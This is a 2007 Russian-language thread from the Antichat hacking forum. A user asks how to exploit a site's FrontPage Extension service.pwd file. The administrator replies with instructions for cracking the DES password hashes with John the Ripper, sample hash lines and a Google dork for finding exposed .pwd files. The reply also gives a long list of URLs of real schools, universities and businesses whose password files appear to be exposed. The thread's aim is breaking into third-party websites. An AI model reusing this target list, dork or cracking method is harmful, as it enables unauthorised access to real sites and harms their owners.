ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

FrontPage Extension
  #1  
Старый 03.02.2007, 00:30
Аватар для ++Norton++
++Norton++
Участник форума
Регистрация: 20.11.2006
Сообщений: 172
Провел на форуме:
539954

Репутация: 106
По умолчанию FrontPage Extension

На сайте доступен сервис FrontPage Extension. Известны логин и пароль к нему, лежащие в файле /_vti_pvt/service.pwd.
Подскажите, шифруется ли пароль в service.pwd? Если да, то чем можно расшифровать, и где его можно применить. Я слышал что с помощью FrontPage Extension возможно удаленное изменение контента сайта. Это так?
 
Ответить с цитированием

  #2  
Старый 03.02.2007, 00:39
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию

Любой брутфорс понимающий DES алгоритм.
Джоник(John the Ripper)+Словари и с песней.
http://www.openwall.com/john/e/john171w.zip

процитирую теорию:
Цитата:
Довольно часто на Frontpage сервер стаят расширения pwd или grp, позволяющие администратору или вебдизайнеру удаленно закачивать на сервер файлы. Эти дополнения позволяют хакеру получить контроль чуть-ли не над всем сервером. Все файлы, которыми может воспользоваться хакер, лежат в системной директории Frontpage, а именно, в /_vti_pvt. Эта папка находится в корневой директории сервера. Каждая папка, куда есть доступ посредством Microsoft FrontPage, имеет уникальные права на доступ, и пароли, их определяющие находятся в файлах service.pwd и service.grp. Также можно встретить следующие файлы:

administrators.pwd - для администраторов
authors.pwd - для авторов закачиваемых страниц
users.pwd - для обычных пользователей
В них тоже содержаться пароли

Расширения ФронтПаги создают резервную копию каждого редактируемого файла. Если тв найдешь подобный сайт, прото - поищи в любой директории папку _vti_cnf - вы получите полный список файлов в ней. Скачав любой *.pwd файл, ты увидишь что-то вроде: User:7JyxuUUYY9sgQ. Это всем нам знакомый DES - так что переписывай его в формат 7JyxuUUYY9sgQ:10:200:User:/users/User:/bin/bash и кормите этим очередного btuteforce cracker'a типа Johna the ripper'a или Shadow Crack`a.
Пример файла users.pwd:

# -FrontPage-
jmitchel:7JyxuUUYY9sgQ
wolfe:70yTVencjVNUs
cwolfe:7hT30qItX/v2s
Код:
dork: filetype:pwd (service | authors | administrators | users)
данный дорк самый функциональный, прошу другие не выкладывать.
Код:
http://www.machinima.com/tritin-films/_vti_pvt/service.pwd
http://www.colquittassociates.com/_vti_pvt/service.pwd
http://www-test.suihoek.nl/_vti_pvt/service.pwd
http://www.uo.edu.cu/fac/fcsh/web_psico/Content/_vti_pvt/service.pwd
http://webhome.idirect.com/~zinine/_vti_pvt/service.pwd
http://www.squarefood.com/board/yabb/Sources/_vti_pvt/service.pwd
http://www.ipserve.net/_vti_pvt/service.pwd
http://membres.lycos.fr/frenchlingerie/_vti_pvt/service.pwd
http://www.suihoek.nl/_vti_pvt/service.pwd
http://my.erinet.com/7B/33/vanhookrk/_vti_pvt/service.pwd
http://florida-fishing-charters.com/_vti_pvt/service.pwd
http://trade.hamk.fi/wwwkurssi/_vti_pvt/users.pwd
http://www.gemanurani-bks.sch.id/_vti_pvt/service.pwd
http://www.quintacolumna.org/public_html/_vti_pvt/service.pwd
http://thecomedyworks.net/_vti_pvt/service.pwd
http://locksmithexpress.net/_vti_pvt/service.pwd
http://www.valmaq.com.br/_vti_pvt/service.pwd
http://www.flashflashrevolution.com/_vti_pvt/service.pwd
http://www.stsnet.at/hs-stgeorgen/hs-stgeorgen-archiv/_vti_pvt/service.pwd
http://orte.main-kinzig.de/_vti_pvt/service.pwd
http://ernaehrungskreis.kh-st-poelten.at/Ernaehrungskreis/_vti_pvt/service.pwd
http://www.scweb4free.com/_vti_pvt/service.pwd
http://www.cti.gr/documents/odhgos_diadikasiwn/manage/_vti_pvt/service.pwd
http://users.servicios.retecal.es/faevsba/service.pwd
http://bogdan-adrian.com/_vti_pvt/service.pwd
http://www.bengames.org/bencon/z_crap/_vti_pvt/service.pwd
http://bilboque.com.br/_vti_pvt/service.pwd
http://www.weisd.com/_vti_pvt/service.pwd
http://www.sandksteel.com/_vti_pvt/service.pwd
http://mipagina.cantv.net/jmvven/_vti_pvt/service.pwd
http://virtual.vidnet.net/_vti_pvt/service.pwd
http://www.facs.org.ni/_vti_pvt/service.pwd
http://www.rectus.dk/_vti_pvt/service.grp
http://www.imotionmc.com/_vti_pvt/service.pwd
http://www.thearma.org/_vti_pvt/service.pwd
http://suske.its.unimelb.edu.au/208743/pub/_vti_pvt/service.pwd
http://www.rt65.com/_vti_pvt/service.pwd
http://pallas.cc.uregina.ca:8080/_vti_pvt/service.pwd
http://www.jamescoxgallery.com/_vti_pvt/service.pwd
http://www.mckendreecbe.org/_vti_pvt/service.pwd
http://www.donsmachine.com/_vti_pvt/service.pwd
http://spiritec.dsvr.co.uk/_vti_pvt/service.pwd
http://www.mindconsulting.it/_vti_pvt/service.pwd
http://www.ocda.demon.co.uk/_vti_pvt/service.pwd
http://www.malanga.net/_vti_pvt/service.pwd
http://heberdomaine.com/_vti_pvt/service.pwd
http://www.rosenthaler.de/_vti_pvt/service.pwd
http://www.mipagina.cantv.net/maxtorcomputer/_vti_pvt/service.pwd
http://www.btinternet.com/~pksilver/_vti_pvt/service.pwd
http://www.broadfamilyoffice.com/FP-service.pwd.old
http://schlagel.org/old_vti_pvt/administrators.pwd
http://www.mpisorder.com/_vti_pvt/service.pwd
http://members.lycos.nl/willowy/_vti_pvt/service.pwd
http://remax-cen-cov-ri.com/_vti_pvt/service.pwd
http://www.rohitab.com/discuss/oldfiles/post-10-34160-administrators.pwd
http://server5.web-mania.com/users/uniquede/_vti_pvt/service.pwd
http://web.quick.cz/vlastimil.picha/_vti_pvt/service.pwd
http://www.cti.gr/RD3/DKE/panda/tasks/_vti_pvt/service.pwd
http://www.multiline.com.au/~ronb/chiefton/_vti_pvt/service.pwd
http://www2.asn-graz.ac.at/hs-stgeorgen-archiv/_vti_pvt/service.pwd
http://www.ccyprolaw.com/_vti_pvt/service.pwd
http://www.wu-wien.ac.at/usr/h92/h9250717/_vti_pvt/service.pwd
http://motyl.webd.pl/_vti_pvt/service.pwd
http://hot-hunks.com/_vti_pvt/service.pwd
http://www.verschijning.nl/_vti_pvt/service.pwd
http://trade.hamk.fi/wwwkurssi/_vti_pvt/authors.pwd
http://webuser.unicas.it/misure/_vti_pvt/service.pwd
http://members.lycos.nl/Veef/_vti_pvt/service.pwd
http://www.loscastros.com/jorge_files/west_coast_med_supply/_vti_pvt/service.pwd
http://skt.com.tw/_vti_pvt/service.pwd
http://home.tiscali.nl/henloe/_vti_pvt/service.pwd
http://www.llesd.k12.ca.us/kshefren/_vti_pvt/service.pwd
http://homepage.ntlworld.com/toby.richards1/_vti_pvt/service.pwd
http://www.americafundingcorp.com/_vti_pvt/service.pwd
http://cash-advance-now.us/_vti_pvt/service.pwd
http://www.bamboemeubel.com/_vti_pvt/service.pwd
http://www.users.qwest.net/~cwalocal7101/_vti_pvt/service.pwd
http://www.llesd.k12.ca.us/lelibrary/_vti_pvt/service.pwd
http://www.otavanoppimateriaalit.net/linkit/_vti_pvt/service.pwd
http://membres.lycos.fr/djbabar/_vti_pvt/service.pwd
http://www.pharmacy.ubc.ca/pharmdprogram/_vti_pvt/service.pwd
http://www.adhd-relief.com/0%20%20_vti_pvt/service.pwd
http://stephanie.pommier.free.fr/_vti_pvt/service.pwd
http://bbeletronica.cpac.embrapa.br/Content/_vti_pvt/service.pwd
http://www.users.qwest.net/~booboo7/_vti_pvt/service.pwd
http://ham2.cc.fer.hr/9a1cdh/_vti_pvt/service.pwd
http://freespace.virgin.net/vivienne.lowndes_smith3/members/_vti_pvt/service.pwd
http://hem.fyristorg.com/poleposition/Content/_vti_pvt/service.pwd
http://www.hint.org.tw/family/_vti_pvt/service.pwd
http://www.unshadowed.com/ministore/_vti_pvt/service.pwd
http://karl-may-festspiele.at/2002/_vti_pvt/service.pwd
http://eclipse.cps.k12.va.us/Schools/BRP/_vti_pvt/service.pwd
http://www.pelikan-apotheke-bremerhaven.de/_vti_pvt/service.pwd
http://frontpage.dallas.net/~lonlusk/_vti_pvt/administrators.pwd
http://www.btinternet.com/~mel/_vti_pvt/service.pwd
http://www.decompression.org/maiken/_vti_pvt/administrators.pwd
http://www.teiath.gr/verwalt/technical/_vti_pvt/administrators.pwd
http://www.tex.izs.it/_vti_pvt/service.pwd
http://www.bd.net.cn/zgbdxxk/dzzz/_vti_pvt/service.pwd
http://www.henac.be/projets/leonardo/forumetudiants/_vti_pvt/administrators.pwd
http://www1.minn.net/~psollie/_vti_pvt/service.pwd
http://server5.web-mania.com/users/pafanFri/_vti_pvt/service.pwd
http://www.users.qwest.net/~wwahec/_vti_pvt/service.pwd
http://trade.hamk.fi/wwwkurssi/_vti_pvt/administrators.pwd
http://www.dobermanns.at/_vti_pvt/service.pwd
http://www.collageproject.net/_vti_pvt/service.pwd
http://club.sdabocconi.it/mba_mcclub_private/_vti_pvt/service.pwd
http://www.heyerlist.org/garderobe/_vti_pvt/service.pwd
http://www.fdn.uq.edu.au/students/2001%20February/fuad/_vti_pvt/service.pwd
http://www.pond.com/home/_vti_pvt/service.pwd
http://www.cps.k12.va.us/Schools/GBP/_vti_pvt/service.pwd
http://www.medicmedia.ch/_vti_pvt/service.pwd
http://dersonnenhof.de/_vti_pvt/service.pwd
http://schlagel.org/old_vti_pvt/users.pwd
http://www.lasikmemorial.com/_vti_pvt/service.pwd
http://www.christiecottage.ca/_vti_pvt/service.pwd
http://www.osea.org/pages/Chapter_Websites/152/_vti_pvt/service.pwd
http://www.computershop.twpo.com.au/_vti_pvt/service.pwd
http://www.whitebear.k12.mn.us/oles/_vti_pvt/service.pwd
http://aimcorp.aimcorporation.com/_vti_pvt/service.pwd
http://www.decompression.org/maiken/_vti_pvt/users.pwd
http://www.henac.be/projets/leonardo/forumetudiants/_vti_pvt/users.pwd
http://conca.users.netlink.co.uk/_vti_pvt/service.pwd
http://humanesocietyny.org/_vti_pvt/service.pwd
Код:
http://websql1.acs.ncsu.edu/PurchaseCard/_vti_pvt/users.pwd
http://www.uprh.edu/~jm/_vti_pvt/users.pwd
http://www.bucks.edu/~fishg/_vti_pvt/administrators.pwd
http://daniel.eastern.edu/reports/_vti_pvt/administrators.pwd
http://eeasterling.cox.smu.edu/_vti_pvt/service.pwd
http://goldey2.gbc.edu/~kneavela/_vti_pvt/service.pwd
http://nkeon.cox.smu.edu/_vti_pvt/service.pwd
http://cecelia.physics.indiana.edu/kids/_vti_pvt/service.pwd
http://www.slis.ua.edu/sac/_vti_pvt/service.pwd
http://jnoel.cox.smu.edu/_vti_pvt/service.pwd
http://www.ltsp.edu/news_events/_vti_pvt/service.pwd

Последний раз редактировалось ettee; 20.08.2007 в 13:40..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
format c: after restart Razzek Болталка 2 10.06.2005 18:37



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ